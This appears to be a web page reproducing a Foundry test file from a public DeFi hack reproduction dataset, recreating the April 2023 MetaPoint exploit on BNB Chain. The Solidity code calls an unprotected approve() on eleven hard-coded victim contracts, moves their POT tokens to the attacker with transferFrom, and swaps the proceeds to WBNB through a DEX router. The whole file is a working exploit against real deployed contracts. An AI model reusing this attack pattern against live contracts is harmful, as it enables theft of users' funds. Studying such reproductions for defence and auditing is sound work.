Public reproduction file
src/test/2023-04/MetaPoint_exp.sol
Public reproduction file for dataset entry MetaPoint.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7/*8@Analysis9https://twitter.com/PeckShieldAlert/status/164598019798719283310https://twitter.com/Phalcon_xyz/status/164596332750220492911@TX (one of the txs)12invest13https://bscscan.com/tx/0xdb01fa33bf5b79a3976ed149913ba0a18ddd444a072a2f34a0042bf32e4e799514withdraw15https://bscscan.com/tx/0x41853747231dcf01017cf419e6e4aa86757e59479964bafdce0921d3e616cc67*/17interface IApprove {18 function approve() external;19}21contract ContractTest is Test {22 address pot = 0x3B5E381130673F794a5CF67FBbA48688386BEa86;23 address usdt = 0x55d398326f99059fF775485246999027B3197955;24 address pot_usdt_pool = 0x9117df9aA33B23c0A9C2C913aD0739273c3930b3;25 address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;26 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);28 function setUp() public {29 vm.createSelectFork("bsc", 27_264_384 - 1);30 }32 function testExploit() public {33 address[11] memory victims = [34 0x724DbEA8A0ec7070de448ef4AF3b95210BDC8DF6,35 0xE5cBd18Db5C1930c0A07696eC908f20626a55E3C,36 0xC254741776A13f0C3eFF755a740A4B2aAe14a136,37 0x5923375f1a732FD919D320800eAeCC25910bEdA3,38 0x68531F3d3A20027ed3A428e90Ddf8e32a9F35DC8,39 0x807d99bfF0bad97e839df3529466BFF09c09E706,40 0xA56622BB16F18AF5B6D6e484a1C716893D0b36DF,41 0x8acb88F90D1f1D67c03379e54d24045D4F6dfDdB,42 0xe8d6502E9601D1a5fAa3855de4a25b5b92690623,43 0x435444d086649B846E9C912D21E1Bc651033A623,44 0x52AeD741B5007B4fb66860b5B31dD4c542D6578545 ];46 // approve47 for (uint256 i = 0; i < victims.length; i++) {48 IApprove(victims[i]).approve();49 }50 // transfer51 for (uint256 i = 0; i < victims.length; i++) {52 uint256 amount = IERC20(pot).balanceOf(victims[i]);53 if (amount == 0) {54 continue;55 }56 IERC20(pot).transferFrom(victims[i], address(this), amount);57 }58 bscSwap(pot, usdt, IERC20(pot).balanceOf(address(this)));59 bscSwap(usdt, wbnb, IERC20(usdt).balanceOf(address(this)));61 uint256 wbnbBalance = IERC20(wbnb).balanceOf(address(this));62 emit log_named_decimal_uint("[After Attacks] Attacker WBNB balance", wbnbBalance, 18);63 }65 function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {66 IERC20(tokenFrom).approve(address(Router), type(uint256).max);67 address[] memory path = new address[](2);68 path[0] = tokenFrom;69 path[1] = tokenTo;70 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);71 }72}Analysis
Dataset entry
Public Foundry test for “MetaPoint” (2023-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
File record
- Name
- MetaPoint
- Path
- src/test/2023-04/MetaPoint_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d477912bc33b08e816c5f0073c8c75e6949cf0f0
- Language
- Solidity
- Size
- 73 lines
- Date
- 2023-04-12
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/MetaPoint_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d477912bc33b08e816c5f0073c8c75e6949cf0f0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.